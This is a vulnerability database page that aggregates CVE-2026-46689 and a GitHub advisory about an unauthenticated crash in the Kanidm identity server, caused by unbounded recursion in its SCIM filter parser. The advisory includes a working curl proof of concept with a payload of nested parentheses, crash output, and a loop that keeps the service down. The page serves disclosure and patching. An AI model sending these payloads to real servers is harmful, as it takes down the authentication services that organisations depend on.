Vulnerability-Lookup

CVE-2026-46689 (GCVE-0-2026-46689)

Vulnerability from cvelistv5 – Published: 2026-06-10 20:28 – Updated: 2026-06-11 12:55

Title

Kanidm: Unauthenticated process abort via SCIM filter stack exhaustion

Summary

Kanidm is an identity management platform. Prior to version 1.9.3, a single unauthenticated GET to any /scim/v1/... endpoint with a ?filter= query string of a few thousand nested parentheses (≈ 4–12 KB) drives the recursive-descent PEG parser past the worker thread's stack guard page. Rust responds to stack overflow with std::process::abort() — the entire kanidmd process exits. The parse runs inside axum's Query<ScimEntryGetQuery> extractor, before any handler body and therefore before any ACL check. This issue has been patched in version 1.9.3.

Severity

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-248 - Uncaught Exception
CWE-400 - Uncontrolled Resource Consumption
CWE-674 - Uncontrolled Recursion

Assigner

GitHub_M

References

2 references

URL	Tags
https://github.com/kanidm/kanidm/security/advisor…	x_refsource_CONFIRM
https://github.com/kanidm/kanidm/releases/tag/v1.9.3	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
kanidm	kanidm	Affected: < 1.9.3

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-46689

Vulnerability from fkie_nvd - Published: 2026-06-10 22:17 - Updated: 2026-07-23 09:10

Severity

8.7 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/kanidm/kanidm/releases/tag/v1.9.3
	security-advisories@github.com	https://github.com/kanidm/kanidm/security/advisories/GHSA-r5fr-9gmv-jggh
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/kanidm/kanidm/security/advisories/GHSA-r5fr-9gmv-jggh

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "kanidm",
          "vendor": "kanidm",
          "versions": [
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      "lang": "en",
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    },
    {
      "lang": "es",
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    }
  ],
  "id": "CVE-2026-46689",
  "lastModified": "2026-07-23T09:10:00.113",
  "metrics": {
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}

GHSA-R5FR-9GMV-JGGH

Vulnerability from github – Published: 2026-05-06 23:38 – Updated: 2026-06-29 15:30

Summary

scim_proto and kanidm_proto have an authenticated process abort via SCIM filter stack exhaustion

Details

Summary

A single unauthenticated GET to any /scim/v1/... endpoint with a ?filter= query string of a few thousand nested parentheses (≈ 4–12 KB) drives the recursive-descent PEG parser past the worker thread's stack guard page. Rust responds to stack overflow with std::process::abort() — the entire kanidmd process exits. The parse runs inside axum's Query<ScimEntryGetQuery> extractor, before any handler body and therefore before any ACL check.

Details

The SCIM filter grammar recurses on ( and not ( with no depth bound.

proto/src/scim_v1/mod.rs:263-433 — peg::parser! { grammar scimfilter() ... }:

// line 281
"not" separator()+ "(" e:parse() ")" { ScimFilter::Not(Box::new(e)) }
// line 293
"(" e:parse() ")" { e }

Both rules re-enter parse() without a depth counter.

proto/src/scim_v1/mod.rs:442-447 — impl FromStr for ScimFilter calls scimfilter::parse(input) directly on the raw string with no length or depth pre-check.

proto/src/scim_v1/mod.rs:80-81 — ScimEntryGetQuery.filter is #[serde_as(as = "Option<DisplayFromStr>")], so deserialising the query struct invokes ScimFilter::from_str on attacker bytes.

Unauthenticated reachability — nine handlers in server/core/src/https/v1_scim.rs (route table at lines 865-1029) take Query<ScimEntryGetQuery> as an argument: /scim/v1/Entry, /scim/v1/Entry/{id}, /scim/v1/Person/{id}, /scim/v1/Application, /scim/v1/Application/{id}, /scim/v1/Class, /scim/v1/Attribute, /scim/v1/Message, /scim/v1/Message/{id}. The SCIM router is merged unconditionally for every server role (server/core/src/https/mod.rs:312).

Axum extracts handler arguments before the handler body runs. The preceding VerifiedClientInformation extractor (server/core/src/https/extractors/mod.rs:16-91) always returns Ok (line 89) regardless of credentials; authorization is deferred to the handler body, which is never reached.

The existing semantic depth limit (DEFAULT_LIMIT_FILTER_DEPTH_MAX = 12, server/lib/src/constants/mod.rs:212) is enforced in Filter::from_scim_ro (server/lib/src/filter.rs:786) after the PEG parse has already produced an AST, so it cannot prevent the parser itself from blowing the stack.

The production daemon (server/daemon/src/main.rs:735-744) uses new_multi_thread() with default 2 MiB worker stacks; hyper's max_buf_size (~400 KiB) is not lowered (server/core/src/https/mod.rs:708-727), so a 12 KB URI is accepted.

An identical unbounded grammar exists in libs/scim_proto/src/filter.rs:112-276 (not network-reachable, but should be fixed in the same patch).

PoC

curl -sk "https://idm.example.com/scim/v1/Application?filter=$(python3 -c 'print("("*3000+"a+pr"+")"*3000)')"
# → curl: (52) Empty reply from server
# → server journal: "fatal runtime error: stack overflow, aborting", SIGABRT

Release-build threshold measured at ~2 000 nesting levels / ~4 KB:

$ cargo test --release -p kanidm_proto --test scim_filter_depth -- --nocapture
parens depth=1500 len=3004
  -> survived
parens depth=2000 len=4004

thread 'audit_scim_filter_nested_parens' has overflowed its stack
fatal runtime error: stack overflow, aborting
  (signal: 6, SIGABRT: process abort signal)

End-to-end against an in-process server via kanidmd_testkit (no authentication performed):

Testkit server setup complete - http://localhost:18080/
audit_scim_dos: sending unauthenticated GET, url len = 12056

thread '...' has overflowed its stack
fatal runtime error: stack overflow, aborting
  (signal: 6, SIGABRT: process abort signal)

Impact

Process-wide availability loss; no confidentiality or integrity impact.

Unauthenticated, default install, no feature flag required.
Process abort, not task panic. Stack overflow triggers libstd's guard-page handler, which calls std::process::abort(). tokio's per-task catch_unwind isolation does not apply to aborts. All in-flight HTTP requests, OAuth2/OIDC sessions, LDAP binds, and the web UI are terminated.
Repeatable. One ~12 KB GET per crash; a while true; do curl ...; done loop holds the service down indefinitely across supervisor restarts.
The 6 011-byte variant (depth=3000) fits under the nginx default large_client_header_buffers limit of 8 KB, so a typical reverse proxy does not mitigate.

Affected: v1.7.0 through master @ edf50b9da.

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.9.2"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "scim_proto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.9.2"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "kanidm_proto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46689"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248",
      "CWE-400",
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T23:38:49Z",
    "nvd_published_at": "2026-06-10T22:17:00Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA single unauthenticated `GET` to any `/scim/v1/...` endpoint with a `?filter=` query string of a few thousand nested parentheses (\u2248 4\u201312 KB) drives the recursive-descent PEG parser past the worker thread\u0027s stack guard page. Rust responds to stack overflow with `std::process::abort()` \u2014 the entire `kanidmd` process exits. The parse runs inside axum\u0027s `Query\u003cScimEntryGetQuery\u003e` extractor, before any handler body and therefore before any ACL check.\n\n### Details\n\nThe SCIM filter grammar recurses on `(` and `not (` with no depth bound.\n\n**`proto/src/scim_v1/mod.rs:263-433`** \u2014 `peg::parser! { grammar scimfilter() ... }`:\n\n```rust\n// line 281\n\"not\" separator()+ \"(\" e:parse() \")\" { ScimFilter::Not(Box::new(e)) }\n// line 293\n\"(\" e:parse() \")\" { e }\n```\n\nBoth rules re-enter `parse()` without a depth counter.\n\n**`proto/src/scim_v1/mod.rs:442-447`** \u2014 `impl FromStr for ScimFilter` calls `scimfilter::parse(input)` directly on the raw string with no length or depth pre-check.\n\n**`proto/src/scim_v1/mod.rs:80-81`** \u2014 `ScimEntryGetQuery.filter` is `#[serde_as(as = \"Option\u003cDisplayFromStr\u003e\")]`, so deserialising the query struct invokes `ScimFilter::from_str` on attacker bytes.\n\n**Unauthenticated reachability** \u2014 nine handlers in `server/core/src/https/v1_scim.rs` (route table at lines 865-1029) take `Query\u003cScimEntryGetQuery\u003e` as an argument: `/scim/v1/Entry`, `/scim/v1/Entry/{id}`, `/scim/v1/Person/{id}`, `/scim/v1/Application`, `/scim/v1/Application/{id}`, `/scim/v1/Class`, `/scim/v1/Attribute`, `/scim/v1/Message`, `/scim/v1/Message/{id}`. The SCIM router is merged unconditionally for every server role (`server/core/src/https/mod.rs:312`).\n\nAxum extracts handler arguments before the handler body runs. The preceding `VerifiedClientInformation` extractor (`server/core/src/https/extractors/mod.rs:16-91`) always returns `Ok` (line 89) regardless of credentials; authorization is deferred to the handler body, which is never reached.\n\nThe existing semantic depth limit (`DEFAULT_LIMIT_FILTER_DEPTH_MAX = 12`, `server/lib/src/constants/mod.rs:212`) is enforced in `Filter::from_scim_ro` (`server/lib/src/filter.rs:786`) **after** the PEG parse has already produced an AST, so it cannot prevent the parser itself from blowing the stack.\n\nThe production daemon (`server/daemon/src/main.rs:735-744`) uses `new_multi_thread()` with default 2 MiB worker stacks; hyper\u0027s `max_buf_size` (~400 KiB) is not lowered (`server/core/src/https/mod.rs:708-727`), so a 12 KB URI is accepted.\n\nAn identical unbounded grammar exists in `libs/scim_proto/src/filter.rs:112-276` (not network-reachable, but should be fixed in the same patch).\n\n### PoC\n\n```sh\ncurl -sk \"https://idm.example.com/scim/v1/Application?filter=$(python3 -c \u0027print(\"(\"*3000+\"a+pr\"+\")\"*3000)\u0027)\"\n# \u2192 curl: (52) Empty reply from server\n# \u2192 server journal: \"fatal runtime error: stack overflow, aborting\", SIGABRT\n```\n\nRelease-build threshold measured at ~2 000 nesting levels / ~4 KB:\n\n```\n$ cargo test --release -p kanidm_proto --test scim_filter_depth -- --nocapture\nparens depth=1500 len=3004\n  -\u003e survived\nparens depth=2000 len=4004\n\nthread \u0027audit_scim_filter_nested_parens\u0027 has overflowed its stack\nfatal runtime error: stack overflow, aborting\n  (signal: 6, SIGABRT: process abort signal)\n```\n\nEnd-to-end against an in-process server via `kanidmd_testkit` (no authentication performed):\n\n```\nTestkit server setup complete - http://localhost:18080/\naudit_scim_dos: sending unauthenticated GET, url len = 12056\n\nthread \u0027...\u0027 has overflowed its stack\nfatal runtime error: stack overflow, aborting\n  (signal: 6, SIGABRT: process abort signal)\n```\n\n### Impact\n\nProcess-wide availability loss; no confidentiality or integrity impact.\n\n- **Unauthenticated**, default install, no feature flag required.\n- **Process abort, not task panic.** Stack overflow triggers libstd\u0027s guard-page handler, which calls `std::process::abort()`. tokio\u0027s per-task `catch_unwind` isolation does not apply to aborts. All in-flight HTTP requests, OAuth2/OIDC sessions, LDAP binds, and the web UI are terminated.\n- **Repeatable.** One ~12 KB GET per crash; a `while true; do curl ...; done` loop holds the service down indefinitely across supervisor restarts.\n- The 6 011-byte variant (`depth=3000`) fits under the nginx default `large_client_header_buffers` limit of 8 KB, so a typical reverse proxy does not mitigate.\n\n**Affected**: v1.7.0 through `master` @ edf50b9da.",
  "id": "GHSA-r5fr-9gmv-jggh",
  "modified": "2026-06-29T15:30:20Z",
  "published": "2026-05-06T23:38:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kanidm/kanidm/security/advisories/GHSA-r5fr-9gmv-jggh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46689"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kanidm/kanidm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kanidm/kanidm/releases/tag/v1.9.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "scim_proto and kanidm_proto have an authenticated process abort via SCIM filter stack exhaustion"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

CVE-2026-46689 (GCVE-0-2026-46689)

FKIE_CVE-2026-46689

GHSA-R5FR-9GMV-JGGH

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature